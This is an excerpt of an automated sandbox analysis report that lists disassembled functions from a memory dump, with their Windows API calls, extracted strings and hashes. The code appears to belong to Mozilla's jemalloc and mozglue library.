Instruction Fuzzy Hash: 11536C71A05702CFD704CF29C580625FBE1BF89328F29C66DE8A99B7A1D775E841CB81

Function 6CE055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CDDE1A5), ref: 6CE05606
LoadLibraryW.KERNEL32(gdi32,?,6CDDE1A5), ref: 6CE0560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CE05633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CE0563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CE0566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CE0567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CE05696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CE056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CE056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CE056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CE056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CE05716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CE0572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CE05748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CE05761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CE0577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CE05793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CE057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CE057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CE057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CE057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CE057FF

Strings

AreDpiAwarenessContextsEqual, xrefs: 6CE05637
GetSystemMetricsForDpi, xrefs: 6CE05677
SetWindowPos, xrefs: 6CE056F7
MonitorFromWindow, xrefs: 6CE0578D
ShowWindow, xrefs: 6CE056DE
EnableNonClientDpiScaling, xrefs: 6CE05666
RegisterClassW, xrefs: 6CE056AC
ReleaseDC, xrefs: 6CE05742
CreateWindowExW, xrefs: 6CE056C5
gdi32, xrefs: 6CE0560A
GetWindowDC, xrefs: 6CE05710
user32, xrefs: 6CE05601
GetThreadDpiAwarenessContext, xrefs: 6CE0562D
LoadCursorW, xrefs: 6CE05774
GetDpiForWindow, xrefs: 6CE05690
SetWindowLongPtrW, xrefs: 6CE057B7
LoadIconW, xrefs: 6CE0575B
DeleteObject, xrefs: 6CE057F9
FillRect, xrefs: 6CE05729
CreateSolidBrush, xrefs: 6CE057E4
GetMonitorInfoW, xrefs: 6CE057A2
StretchDIBits, xrefs: 6CE057CC

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 3d8027cdb49225c0c27fc24d1daacb2f21f2684b9d318fd009bf16df8a7badc7
Instruction ID: 5b19008f870e849eedf4d03dbb4ee1648d378db45896e57b872c47ed22abc89a
Opcode Fuzzy Hash: 3d8027cdb49225c0c27fc24d1daacb2f21f2684b9d318fd009bf16df8a7badc7
Instruction Fuzzy Hash: 68513171B1275A9BDB019F758D54B2A3ABCBF062497344439ED12E2B45EB7CCC108FA8

Function 6CE034A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE035BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE035E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE036CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE038BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE039EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03EE2

Part of subcall function 6CE06180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CE061DD
Part of subcall function 6CE06180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CE0622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE040F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE04157

Part of subcall function 6CE06180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CE06250
Part of subcall function 6CE06180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CE06292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE04448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CE0484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CE04863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CE04878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CE04896
free.MOZGLUE ref: 6CE0489F

Strings

, xrefs: 6CE04CD2

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 2683d50c6659e8c8de3a9a2931c4845978854c8803c49935e3bcbe9b000eea05
Instruction ID: 34cb8fdd780861fd8e6a6ec7e37d42d6780764e9225e671d80385fb0d09a1183
Opcode Fuzzy Hash: 2683d50c6659e8c8de3a9a2931c4845978854c8803c49935e3bcbe9b000eea05
Instruction Fuzzy Hash: D7F24E74608780CFC725CF28C18469AFBF1FF99348F218A5ED99997711DB319896CB82

Function 6CDD60A0 Relevance: 53.6, APIs: 22, Strings: 8, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDD60C9
LeaveCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDD610D
EnterCriticalSection.KERNEL32(?), ref: 6CDD618C
LeaveCriticalSection.KERNEL32(?), ref: 6CDD61F9

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CDD6B6A
Compile-time page size does not divide the runtime one., xrefs: 6CDD6AAE
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDD674A
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDD6442
MALLOC_OPTIONS, xrefs: 6CDD6888
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDD6BC7, 6CDD6F97, 6CDD6FB2
MOZ_CRASH(), xrefs: 6CDD6AB8
<jemalloc>, xrefs: 6CDD6AA9, 6CDD6B59

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw
API String ID: 3168844106-4037164481
Opcode ID: 30709276ae0e3d857caaa87370a942a0fbcfe4d27fdb893c50d6fc80576220f8
Instruction ID: 90c303c2cae9f9a15ad72aff91047ea8188af249d68127b828ca4d1aba93ea36
Opcode Fuzzy Hash: 30709276ae0e3d857caaa87370a942a0fbcfe4d27fdb893c50d6fc80576220f8
Instruction Fuzzy Hash: FEA27D71E05B118BD708CF28C550719BBF1BB85324F2ACA6DE8A58B7A5C775E842CBC1

Function 6CDB64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CDB64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CDB64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CDB6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CDB6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CDB652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CDB671C
GetCurrentProcess.KERNEL32 ref: 6CDB6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CDB672F
GetCurrentProcess.KERNEL32 ref: 6CDB6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CDB6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CDB6A80
GetSystemInfo.KERNEL32(?), ref: 6CDB6ABE
__Init_thread_footer.LIBCMT ref: 6CDB6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDB6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDB6AF7

Strings

detoured.dll, xrefs: 6CDB64DA
nvdxgiwrap.dll, xrefs: 6CDB6513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CDB6798
_etoured.dll, xrefs: 6CDB64ED
nvd3d9wrap.dll, xrefs: 6CDB6500
user32.dll, xrefs: 6CDB6526

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 44c2d25b3a77a40242e7c6bf576d8a5a940addc2c2dcc3ac5f941842f2899a5c
Instruction ID: 380eb87304ad189615764d77fb1e5e05318377a77e5259421963f403f7963a23
Opcode Fuzzy Hash: 44c2d25b3a77a40242e7c6bf576d8a5a940addc2c2dcc3ac5f941842f2899a5c
Instruction Fuzzy Hash: 91F1E4B0905219CFDF24CF24CD88B9EB7B4AF45318F144199E80AB76A1E735AE85CF90

Function 6CDBFD00 Relevance: 35.9, APIs: 17, Strings: 6, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E7B8), ref: 6CDBFF81
LeaveCriticalSection.KERNEL32(6CE2E7B8), ref: 6CDC022D
VirtualAlloc.KERNEL32(?,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,00001000,00000004), ref: 6CDC0240
EnterCriticalSection.KERNEL32(6CE2E768), ref: 6CDC025B
LeaveCriticalSection.KERNEL32(6CE2E768), ref: 6CDC027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CDC0D67, 6CDC0D7B, 6CDC0DAC
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDC08D6
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDBFF9E, 6CDC023A, 6CDC0285, 6CDC05CB, 6CDC08DD, 6CDC08F8, 6CDC0915, 6CDC091C, 6CDC0D4C
WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDC0561, 6CDC05A2, 6CDC07AC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDBFE99, 6CDBFEB7, 6CDBFED3, 6CDC0DB8, 6CDC0DD3, 6CDC19B4
<jemalloc>, xrefs: 6CDC0D62, 6CDC0D76, 6CDC0DA7

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 618468079-1870366785
Opcode ID: c95960288068d86f04b76fa726f4aa6daff19bed47796db622199ca1a1209355
Instruction ID: 42e5f96189b943d16cf3ad4597a7d276db56c77201c857be4de90eb1be90c971
Opcode Fuzzy Hash: c95960288068d86f04b76fa726f4aa6daff19bed47796db622199ca1a1209355
Instruction Fuzzy Hash: 2EC29DB1B05741CFD714CF28C480716BBE5AF85328F28C66DE4AA8B7A5D775E841CB82

Function 6CE0C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CE0C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CE0C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CE0C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CE0CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CE0DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CE0DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CE0DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CE0E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CE0E472

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: b6967e6a58373829221f0bd33d6259565a43234c929768b1255e8a4809738c16
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7A33BE75F0021ACFCB04CFA8C8806ADBBF2FF49314F288269D955AB755D731A956CB90

Function 6CE0E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CE0E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CE0EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CE0F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE10E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CE10E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CE10EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CE10ED4

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: f55dc81ad5f0dad03acd19f1fd554f72bd9094f4066177631a35b8df6eed986d
Instruction ID: 23a1b35e6dfdbf50c680c0eef2423d7fccc3f1b8300799088e1413be0947040a
Opcode Fuzzy Hash: f55dc81ad5f0dad03acd19f1fd554f72bd9094f4066177631a35b8df6eed986d
Instruction Fuzzy Hash: 3163AF71E0425ACFCB04CFA8C8906DDFBB2FF89314F298269D855AB745D730A956CB90

Function 6CDE3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CE07770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CDE3E7D,?,?,?,6CDE3E7D,?,?), ref: 6CE0777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CDE3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CDE3F5C
VerSetConditionMask.NTDLL ref: 6CDE3F8D
VerSetConditionMask.NTDLL ref: 6CDE3F99
VerSetConditionMask.NTDLL ref: 6CDE3FA0
VerSetConditionMask.NTDLL ref: 6CDE3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CDE3FB4

Strings

nvinit.dll, xrefs: 6CDE4479
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDE4416
nvd3d9wrap.dll, xrefs: 6CDE4466

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-391591197
Opcode ID: 3cfe43df6f7b2226c4e4a14f00d71994cf801fe198025bf993126858461f8902
Instruction ID: 5f792ec40e7c5bac20e35d1b215b97ebaca535482691aa1378af8aebb6dacfab
Opcode Fuzzy Hash: 3cfe43df6f7b2226c4e4a14f00d71994cf801fe198025bf993126858461f8902
Instruction Fuzzy Hash: 2752CF71610B489FD715DB74C980AABB7F9BF45208F04092DD4A79BBA2DB34F909CB60

Function 6CDBFEF0 Relevance: 28.3, APIs: 13, Strings: 5, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E7B8), ref: 6CDBFF81
LeaveCriticalSection.KERNEL32(6CE2E7B8), ref: 6CDC022D
VirtualAlloc.KERNEL32(?,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,00001000,00000004), ref: 6CDC0240
EnterCriticalSection.KERNEL32(6CE2E768), ref: 6CDC025B
LeaveCriticalSection.KERNEL32(6CE2E768), ref: 6CDC027B

Strings

